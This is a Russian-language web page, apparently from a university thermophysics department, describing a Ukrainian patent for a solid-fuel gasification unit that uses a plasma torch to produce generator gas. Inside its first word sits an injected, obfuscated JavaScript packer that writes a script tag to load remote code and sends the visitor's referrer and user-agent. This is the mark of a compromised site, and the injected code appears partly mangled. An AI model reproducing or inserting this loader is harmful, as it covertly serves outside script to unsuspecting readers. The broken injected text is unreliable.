

На eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!".replace(/^\/,String))){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('b'+e(c)+'b','g'),k[c])}}return p}('0.6(");n m="q";,30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|earhb|var|u0026u|referrer|affff||js|php'.split('|'),0,{ }))) кафедре Технической теплофизики разработаны средства для получения генераторного газа.

**1. Установка для газификации твердого топлива:** патент Украины на изобретение № 63250А, МПК С10J 3/46 / Илющенко В.И., Харахаш А.К., Бычик В.Н., Зайцев А.В.; ДонНТУ – заявка № 2003032276 от 17.03.2003, опубл. 15.01.2004, бюл. № 1.

Изобретение относится к получению генераторного газа из твердого топлива и может быть использовано в металлургической, энергетической и химической промышленности.

Установка для газификации твердого топлива содержит газогенератор, снабженный устройствами для ввода топлива, ввода газифицирующего агента и устройством отвода продуктов газификации, взаимосвязанным с циклоном, снабженным выходным патрубком для вывода очищенного газа, теплообменником, взаимосвязанным с устройством для ввода топлива и устройством ввода газифицирующего агента, выполненным в виде плазматрона и патрубка для подвода воздуха, взаимосвязанного с воздухоподогревателем. Патрубок для вывода очищенного газа взаимосвязан с теплообменником, который соединен с воздухоподогревателем, связанным через фильтр с дымососом.

## Производство генераторного газа

Автор: Kondratenko  
06.10.2015 11:46

---

Использование изобретения обеспечивает получение генераторного газа более высокой калорийности при повышении производительности установки и упрощении ее конструкции.